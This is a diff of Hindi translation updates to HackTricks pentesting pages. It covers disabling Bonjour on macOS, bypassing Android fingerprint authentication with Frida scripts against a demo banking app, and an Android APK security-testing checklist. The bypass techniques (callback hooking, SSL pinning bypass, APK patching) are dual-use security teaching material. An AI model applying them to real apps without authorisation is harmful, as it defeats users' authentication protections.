@ -106,27 +111,28 @@ input("Press enter to exit...\n\n")
finally:
zeroconf.close()
```
### बोनजोर को अक्षम करना
यदि सुरक्षा या अन्य कारणों से बोनजोर को अक्षम करने की चिंता है, तो निम्नलिखित कमांड का उपयोग करके इसे बंद किया जा सकता है:
### Bonjour को बंद करना
यदि सुरक्षा के बारे में चिंताएँ हैं या Bonjour को बंद करने के अन्य कारण हैं, तो इसे निम्नलिखित कमांड का उपयोग करके बंद किया जा सकता है:
```bash
sudo launchctl unload -w /System/Library/LaunchDaemons/com.apple.mDNSResponder.plist
```
## संदर्भ
* [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt\_other?\_encoding=UTF8\&me=\&qid=)
* [**द मैक हैकर का हैंडबुक**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt\_other?\_encoding=UTF8\&me=\&qid=)
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
* [**https://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html**](https://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html)
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **जुड़ें** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}

View file

@ -1,19 +1,23 @@
# बायपास बायोमेट्रिक प्रमाणीकरण (एंड्रॉइड)
# बायपास बायोमेट्रिक ऑथेंटिकेशन (एंड्रॉइड)
{% hint style="success" %}
सीखें और प्रैक्टिस करें AWS हैकिंग:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
सीखें और प्रैक्टिस करें GCP हैकिंग: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**द पीएस फैमिली**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **मुझे** **ट्विटर** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) पर PR जमा करके**
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* हैकिंग ट्रिक्स साझा करें और [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}
## **विधि 1 कोई क्रिप्टो ऑब्ज
## **विधि 1 बिना क्रिप्टो ऑब्जेक्ट उपयोग के बायपास करना**
यहाँ ध्यान *onAuthenticationSucceeded* कॉलबैक पर है, जो ऑथेंटिकेशन प्रक्रिया में महत्वपूर्ण है। WithSecure के शोधकर्ताओं ने एक [Frida स्क्रिप्ट](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js) विकसित की, जो *onAuthenticationSucceeded(...)* में NULL *CryptoObject* के बायपास को सक्षम बनाती है। यह स्क्रिप्ट विधि के आह्वान पर फिंगरप्रिंट ऑथेंटिकेशन का स्वचालित बायपास करने के लिए मजबूर करती है। नीचे एक सरल स्निपेट है जो एंड्रॉइड फिंगरप्रिंट संदर्भ में बायपास को प्रदर्शित करता है, पूरी एप्लिकेशन [GitHub](https://github.com/St3v3nsS/InsecureBanking) पर उपलब्ध है।
```javascript
biometricPrompt = new BiometricPrompt(this, executor, new BiometricPrompt.AuthenticationCallback() {
@Override
@ -22,17 +26,19 @@ Toast.makeText(MainActivity.this,"Success",Toast.LENGTH_LONG).show();
}
});
```
फ्रिडा स्क्रिप्ट चलाने के लिए कमांड:
Frida स्क्रिप्ट चलाने के लिए कमांड:
```bash
frida -U -f com.generic.insecurebankingfingerprint --no-pause -l fingerprint-bypass.js
```
## **तकनीक 2 अपवाद हैंडलिंग दृष्टिकोण**
## **विधि 2 अपवाद प्रबंधन दृष्टिकोण**
एक और [Frida स्क्रिप्ट](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass-via-exception-handling.js) WithSecure द्वारा असुरक्षित क्रिप्टो ऑब्जेक्ट उपयोग को छोड़ने पर ध्यान देता है। स्क्रिप्ट *onAuthenticationSucceeded* को एक *CryptoObject* के साथ आमंत्रित करता है जिसे एक उंगली के साथ अधिकृत नहीं किया गया है। यदि एप्लिकेशन एक विभिन्न साइफर ऑब्ज
Another [Frida script](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass-via-exception-handling.js) by WithSecure addresses bypassing insecure crypto object usage. The script invokes *onAuthenticationSucceeded* with a *CryptoObject* that hasn't been authorized by a fingerprint. If the application tries to use a different cipher object, it will trigger an exception. The script prepares to invoke *onAuthenticationSucceeded* and handle the *javax.crypto.IllegalBlockSizeException* in the _Cipher_ class, ensuring subsequent objects used by the application are encrypted with the new key.
Frida script चलाने के लिए कमांड:
```bash
frida -U -f com.generic.insecurebankingfingerprint --no-pause -l fingerprint-bypass-via-exception-handling.js
```
अंगुली प्रिंट स्क्रीन तक पहुंचने पर और `authenticate()` की शुरुआत करने पर, Frida कंसोल में `bypass()` टाइप करें ताकि बायपास सक्रिय हो जाए:
फिंगरप्रिंट स्क्रीन पर पहुँचने और `authenticate()` के आरंभ होने पर, बायपास सक्रिय करने के लिए Frida कंसोल में `bypass()` टाइप करें:
```
Spawning com.generic.insecurebankingfingerprint...
[Android Emulator 5554::com.generic.insecurebankingfingerprint]-> Hooking BiometricPrompt.authenticate()...
@ -40,31 +46,46 @@ Hooking BiometricPrompt.authenticate2()...
Hooking FingerprintManager.authenticate()...
[Android Emulator 5554::com.generic.insecurebankingfingerprint]-> bypass()
```
## **तकनीक 3 उपकरण फ्रेमवर्क**
## **विधि 3 इंस्ट्रुमेंटेशन फ्रेमवर्क्स**
Xposed या Frida जैसे उपकरण फ्रेमवर्क का उपयोग अनुप्रयोग विधियों में रनटाइम पर उक्तान करने के लिए किया जा सकता है। उंगलियों के निर्देशन के लिए, ये फ्रेमवर्क निम्नलिखित कार्य कर सकते हैं:
इंस्ट्रुमेंटेशन फ्रेमवर्क्स जैसे Xposed या Frida का उपयोग रनटाइम पर एप्लिकेशन विधियों में हुक करने के लिए किया जा सकता है। फिंगरप्रिंट प्रमाणीकरण के लिए, ये फ्रेमवर्क कर सकते हैं:
1. **प्रमाणीकरण कॉलबैक्स का मॉक बनाना**: `BiometricPrompt.AuthenticationCallback` के `onAuthenticationSucceeded`, `onAuthenticationFailed`, या `onAuthenticationError` विधियों में उक्तान करके, आप उंगलियों के प्रमाणीकरण प्रक्रिया के परिणाम को नियंत्रित कर सकते हैं।
2. **SSL पिनिंग को उलट देना**: इससे हमलावर को ग्राहक और सर्वर के बीच ट्रैफिक को बाधित और संशोधित करने की अनुमति मिलती है, जिससे प्रमाणीकरण प्रक्रिया में परिवर्तन किया जा सकता है या संवेदनशील डेटा चुराया जा सकता है
1. **प्रमाणीकरण कॉलबैक को मॉक करें**: `BiometricPrompt.AuthenticationCallback` के `onAuthenticationSucceeded`, `onAuthenticationFailed`, या `onAuthenticationError` विधियों में हुक करके, आप फिंगरप्रिंट प्रमाणीकरण प्रक्रिया के परिणाम को नियंत्रित कर सकते हैं।
2. **SSL पिनिंग को बायपास करें**: यह एक हमलावर को क्लाइंट और सर्वर के बीच ट्रैफ़िक को इंटरसेप्ट और संशोधित करने की अनुमति देता है, संभावित रूप से प्रमाणीकरण प्रक्रिया को बदलने या संवेदनशील डेटा चुराने के लिए
उदाहरण कमांड Frida के लिए:
Frida के लिए उदाहरण कमांड:
```bash
frida -U -l script-to-bypass-authentication.js --no-pause -f com.generic.in
```
## **तकनीक 4 रिवर्स इंजीनियरिंग और कोड संशोधन**
## **विधि 4 रिवर्स इंजीनियरिंग और कोड संशोधन**
`APKTool`, `dex2jar`, और `JD-GUI` जैसे रिवर्स इंजीनियरिंग उपकरण का उपयोग करके एंड्रॉइड एप्लिकेशन को डीकंपाइल किया जा सकता है, इसके स्रोत कोड को पढ़ा जा सकता है, और इसकी प्रमाणीकरण तंत्र को समझा जा सकता है। चरण सामान्यत:
रिवर्स इंजीनियरिंग उपकरण जैसे `APKTool`, `dex2jar`, और `JD-GUI` का उपयोग एक Android एप्लिकेशन को डिकंपाइल करने, इसके स्रोत कोड को पढ़ने और इसके प्रमाणीकरण तंत्र को समझने के लिए किया जा सकता है। सामान्यतः चरणों में शामिल हैं:
1. **APK को डीकंपाइल करना**: APK फ़ाइल को एक और मानव-पठनीय प्रारूप में रूपांतरित करें (जैसे Java कोड)।
2. **कोड का विश्लेषण**: उंगली प्रमाणीकरण के कार्यान्वयन की खोज करें और संभावित कमजोरियों की पहचान करें (जैसे फॉलबैक तंत्र या अनुचित मान्यता की जांच)।
3. **APK को पुनः संयोजित करना**: उंगली प्रमाणीकरण को छलकरने के लिए कोड को संशोधित करने के बाद, एप्लिकेशन को पुनः संयोजित, साइन किया जाता है, और डिवाइस पर परीक्षण के लिए स्थापित किया जाता है।
1. **APK को डिकंपाइल करना**: APK फ़ाइल को एक अधिक मानव-पठनीय प्रारूप (जैसे Java कोड) में परिवर्तित करें
2. **कोड का विश्लेषण करना**: फिंगरप्रिंट प्रमाणीकरण के कार्यान्वयन की तलाश करें और संभावित कमजोरियों की पहचान करें (जैसे बैकअप तंत्र या अनुचित मान्यता जांच)।
3. **APK को फिर से संकलित करना**: फिंगरप्रिंट प्रमाणीकरण को बायपास करने के लिए कोड को संशोधित करने के बाद, एप्लिकेशन को फिर से संकलित, साइन और परीक्षण के लिए डिवाइस पर स्थापित किया जाता है।
## **तकनीक 5 कस्टम प्रमाणीकरण उपकरण का उपयोग करना**
## **विधि 5 कस्टम प्रमाणीकरण उपकरणों का उपयोग करना**
प्रमाणीकरण तंत्रों का परीक्षण और छलावा करने के लिए विशेषज्ञ उपकरण और स्क्रिप्ट हैं। उदाहरण के लिए:
प्रमाणीकरण तंत्र का परीक्षण और बायपास करने के लिए विशेष उपकरण और स्क्रिप्ट डिज़ाइन की गई हैं। उदाहरण के लिए:
1. **MAGISK मॉड्यूल**: MAGISK एक उपकरण है जो उपयोगकर्ताओं को उनके डिवाइस को रूट करने और मॉड्यूल जोड़ने की अनुमति देता है जो हार्डवेयर स्तरीय जानकारी, जैसे उंगली को मोडिफ़ाई या छलाने कर सकते हैं।
2. **कस्टम निर्मित स्क्रिप्ट**: स्क्रिप्ट लिखे जा सकते हैं जो एंड्रॉइड डीबग ब्रिज (ADB) के साथ या सीधे एप्लिकेशन के बैकएंड के साथ इंटरैक्ट करने के लिए उंगली प्रमाणीकरण को सिमुलेट या छलाने कर सकते हैं
1. **MAGISK मॉड्यूल**: MAGISK एक Android के लिए उपकरण है जो उपयोगकर्ताओं को अपने उपकरणों को रूट करने और मॉड्यूल जोड़ने की अनुमति देता है जो हार्डवेयर-स्तरीय जानकारी, जिसमें फिंगरप्रिंट शामिल हैं, को संशोधित या स्पूफ कर सकते हैं।
2. **कस्टम-निर्मित स्क्रिप्ट**: स्क्रिप्ट को Android डिबग ब्रिज (ADB) के साथ बातचीत करने या एप्लिकेशन के बैकएंड के साथ सीधे फिंगरप्रिंट प्रमाणीकरण का अनुकरण या बायपास करने के लिए लिखा जा सकता है
## संदर्भ
* [https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/](https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,32 +1,35 @@
# एंड्रॉयड APK चेकलिस्ट
# Android APK Checklist
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>Support HackTricks</summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का एक्सेस चाहिए**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह।
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें।
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड ग्रुप**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम ग्रुप**](https://t.me/peass) या **मुझे** **ट्विटर** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** पर **फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में PR जमा करके**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Try Hard सुरक्षा समूह**
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
### [एंड्रॉयड मौलिक सिद्धांत सीखें](android-app-pentesting/#2-android-application-fundamentals)
### [Learn Android fundamentals](android-app-pentesting/#2-android-application-fundamentals)
* [ ] [मौलिक बातें](android-app-pentesting/#fundamentals-review)
* [ ] [डलविक और स्माली](android-app-pentesting/#dalvik--smali)
* [ ] [बुनियादी बातें](android-app-pentesting/#fundamentals-review)
* [ ] [Dalvik & Smali](android-app-pentesting/#dalvik--smali)
* [ ] [प्रवेश बिंदु](android-app-pentesting/#application-entry-points)
* [ ] [गतिविधँ](android-app-pentesting/#launcher-activity)
* [ ] [URL स्कीम](android-app-pentesting/#url-schemes)
* [ ] [गतिविधियाँ](android-app-pentesting/#launcher-activity)
* [ ] [URL योजनाएँ](android-app-pentesting/#url-schemes)
* [ ] [सामग्री प्रदाता](android-app-pentesting/#services)
* [ ] [सेवाएँ](android-app-pentesting/#services-1)
* [ ] [ब्रॉडकास्ट रिसीवर्स](android-app-pentesting/#broadcast-receivers)
@ -34,59 +37,64 @@
* [ ] [इंटेंट फ़िल्टर](android-app-pentesting/#intent-filter)
* [ ] [अन्य घटक](android-app-pentesting/#other-app-components)
* [ ] [ADB का उपयोग कैसे करें](android-app-pentesting/#adb-android-debug-bridge)
* [ ] [स्माली को कैसे संशोधित करें](android-app-pentesting/#smali)
* [ ] [Smali को कैसे संशोधित करें](android-app-pentesting/#smali)
### [स्थैतिक विश्लेषण](android-app-pentesting/#static-analysis)
### [Static Analysis](android-app-pentesting/#static-analysis)
* [ ] [गोपनीयता](android-checklist.md#some-obfuscation-deobfuscation-information) का उपयोग करने की जाँच करें, मोबाइल रूट किया गया है या नहीं, एम्युलेटर का उपयोग हो रहा है और एंटी-टैम्परिंग जाँच करें। [अधिक जानकारी के लिए यह पढ़ें](android-app-pentesting/#other-checks)।
* [ ] संवेदनशील एप्लिकेशन (जैसे बैंक ऐप्स) को यह जांचना चाहिए कि क्या मोबाइल रूट किया गया है और उसके अनुसार कार्रवाई करनी चाहिए।
* [ ] [रोचक स्ट्रिंग्स](android-app-pentesting/#looking-for-interesting-info) (पासवर्ड, URL, API, एन्क्रिप्शन, बैकडोअर, टोकन, ब्लूटूथ uuids...) की खोज करें।
* [ ] [फायरबेस ](android-app-pentesting/#firebase)APIs पर विशेष ध्यान दें।
* [ ] [मैनिफेस्ट पढ़ें:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
* [ ] जांचें कि क्या एप्लिकेशन डीबग मोड में है और उसे "शार्ट" करने की कोशिश करें
* [ ] [Obfuscation](android-checklist.md#some-obfuscation-deobfuscation-information) के उपयोग की जांच करें, यह देखें कि मोबाइल रूट किया गया है या नहीं, यदि एक एमुलेटर का उपयोग किया जा रहा है और एंटी-टैम्परिंग जांचें। [अधिक जानकारी के लिए इसे पढ़ें](android-app-pentesting/#other-checks)।
* [ ] संवेदनशील अनुप्रयोगों (जैसे बैंक ऐप) को जांचना चाहिए कि मोबाइल रूट किया गया है और इसके अनुसार कार्य करना चाहिए।
* [ ] [दिलचस्प स्ट्रिंग्स](android-app-pentesting/#looking-for-interesting-info) (पासवर्ड, URL, API, एन्क्रिप्शन, बैकडोर, टोकन, ब्लूटूथ UUIDs...) की खोज करें।
* [ ] [Firebase](android-app-pentesting/#firebase) APIs पर विशेष ध्यान दें।
* [ ] [Manifest पढ़ें:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
* [ ] जांचें कि क्या अनुप्रयोग डिबग मोड में है और इसे "शोषण" करने की कोशिश करें
* [ ] जांचें कि क्या APK बैकअप की अनुमति देता है
* [ ] निर्यातित गतिविधा
* [ ] निर्यातित गतिविधियाँ
* [ ] सामग्री प्रदाता
* [ ] उजागर सेवाएँ
* [ ] ब्रॉडकास्ट रिसीवर्स
* [ ] URL स्कीम
* [ ] क्या एप्लिकेशन [डेटा को असुरक्षित रूप से आंतरिक या बाहरी रूप से सहेज रहा है](android-app-pentesting/#insecure-data-storage)?
* [ ] क्या कोई [हार्ड कोडेड पासवर्ड या डिस्क में सहेजा गया है](android-app-pentesting/#poorkeymanagementprocesses)? क्या एप्लिकेशन [असुरक्षित क्रिप्टो एल्गोरिथ्म का उपयोग कर रहा है](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
* [ ] क्या सभी पुस्तकालयों को PIE ध्वज का उपयोग करके कॉम्पाइल किया गया है?
* [ ] न भूलें कि इस चरण में आपकी मदद के लिए कई [स्थैतिक एंड्रॉयड विश्लेषक](android-app-pentesting/#automatic-analysis) हैं जो आपकी मदद कर सकते हैं।
* [ ] URL योजनाएँ
* [ ] क्या अनुप्रयोग [असुरक्षित रूप से आंतरिक या बाहरी डेटा सहेज रहा है](android-app-pentesting/#insecure-data-storage)?
* [ ] क्या कोई [पासवर्ड हार्ड कोडेड या डिस्क में सहेजा गया है](android-app-pentesting/#poorkeymanagementprocesses)? क्या ऐप [असुरक्षित क्रिप्टो एल्गोरिदम का उपयोग कर रहा है](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
* [ ] क्या सभी पुस्तकालयों को PIE ध्वज का उपयोग करके संकलित किया गया है?
* [ ] यह न भूलें कि इस चरण के दौरान आपकी मदद करने के लिए कई [स्थैतिक Android एनालाइज़र](android-app-pentesting/#automatic-analysis) हैं।
### [गतिशील विश्लेषण](android-app-pentesting/#dynamic-analysis)
### [Dynamic Analysis](android-app-pentesting/#dynamic-analysis)
* [ ] पर्यावरण की तैयारी करें ([ऑनलाइन](android-app-pentesting/#online-dynamic-analysis), [स्थानीय VM या फिजिकल](android-app-pentesting/#local-dynamic-analysis))
* [ ] क्या कोई [अनजान डेटा लीकेज](android-app-pentesting/#unintended-data-leakage) है (लॉगिंग, कॉपी/पेस्ट, क्रैश लॉग्स)?
* [ ] [SQLite डीबीएस में सहेजी गई गोपनीय जानकारी](android-app-pentesting/#sqlite-dbs)?
* [ ] [उजागर गतिविधाँ](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)?
* [ ] [उजागर सामग्री प्रदाता](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)?
* [ ] [उजागर सेवाएँ](android-app-pentesting/#exploiting-services)?
* [ ] [उजागर ब्रॉडकास्ट रिसीवर्स](android-app-pentesting/#exploiting-broadcast-receivers)?
* [ ] क्या एप्लिकेशन [स्पष्ट पाठ/कमजोर एल्गोरिथ्म का उपयोग करके जानकारी भेज रहा है](android-app-pentesting/#insufficient-transport-layer-protection)? क्या MitM संभव है?
* [ ] [HTTP/HTTPS ट्रैफिक की जांच करें](android-app-pentesting/#inspecting-http-traffic)
* [ ] यह बहुत महत्वपूर्ण है, क्योंकि आप एचटीटीपी ट्रैफिक को कैप्चर कर सकते हैं और सामान्य वेब दुरुपयोगों की खोज कर सकते हैं (Hacktricks में वेब वल्न्स के बारे में बहुत सारी जानकारी है)।
* [ ] संभावित [एंड्रॉयड क्लाइंट साइड इंजेक्शन](android-app-pentesting/#android-client-side-injections-and-others) के लिए जांच करें (शायद कुछ स्थैतिक कोड विश्लेषण यहाँ मदद करेगा)
* [ ] [फ्रिडा](android-app-pentesting/#frida): बस फ्रिडा, इसका उपयोग करें एप्लिकेशन से रोचक गतिशील डेटा प्राप्त करने के लिए (शायद कुछ पासवर्ड...)
* [ ] वातावरण तैयार करें ([ऑनलाइन](android-app-pentesting/#online-dynamic-analysis), [स्थानीय VM या भौतिक](android-app-pentesting/#local-dynamic-analysis))
* [ ] क्या कोई [अनपेक्षित डेटा लीक](android-app-pentesting/#unintended-data-leakage) (लॉगिंग, कॉपी/पेस्ट, क्रैश लॉग) है?
* [ ] [SQLite डेटाबेस में संवेदनशील जानकारी सहेजी जा रही है](android-app-pentesting/#sqlite-dbs)?
* [ ] [शोषण योग्य उजागर गतिविधियाँ](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)?
* [ ] [शोषण योग्य सामग्री प्रदाता](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)?
* [ ] [शोषण योग्य उजागर सेवाएँ](android-app-pentesting/#exploiting-services)?
* [ ] [शोषण योग्य ब्रॉडकास्ट रिसीवर्स](android-app-pentesting/#exploiting-broadcast-receivers)?
* [ ] क्या अनुप्रयोग [स्पष्ट पाठ में जानकारी संचारित कर रहा है/कमजोर एल्गोरिदम का उपयोग कर रहा है](android-app-pentesting/#insufficient-transport-layer-protection)? क्या MitM संभव है?
* [ ] [HTTP/HTTPS ट्रैफ़िक का निरीक्षण करें](android-app-pentesting/#inspecting-http-traffic)
* [ ] यह वास्तव में महत्वपूर्ण है, क्योंकि यदि आप HTTP ट्रैफ़िक को कैप्चर कर सकते हैं तो आप सामान्य वेब कमजोरियों की खोज कर सकते हैं (Hacktricks के पास वेब कमजोरियों के बारे में बहुत सारी जानकारी है)।
* [ ] संभावित [Android क्लाइंट साइड इंजेक्शन](android-app-pentesting/#android-client-side-injections-and-others) क जांच करें (शायद कुछ स्थैतिक कोड विश्लेषण यहाँ मदद करेगा)
* [ ] [Frida](android-app-pentesting/#frida): बस Frida, इसका उपयोग अनुप्रयोग से दिलचस्प गतिशील डेटा प्राप्त करने के लिए करें (शायद कुछ पासवर्ड...)
### कुछ गोपनीयता/डीओबफस्केशन जानकारी
### Some obfuscation/Deobfuscation information
* [ ] [यहाँ पढ़ें](android-app-pentesting/#obfuscating-deobfuscating-code)
**Try Hard सुरक्षा समूह**
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>Support HackTricks</summary>
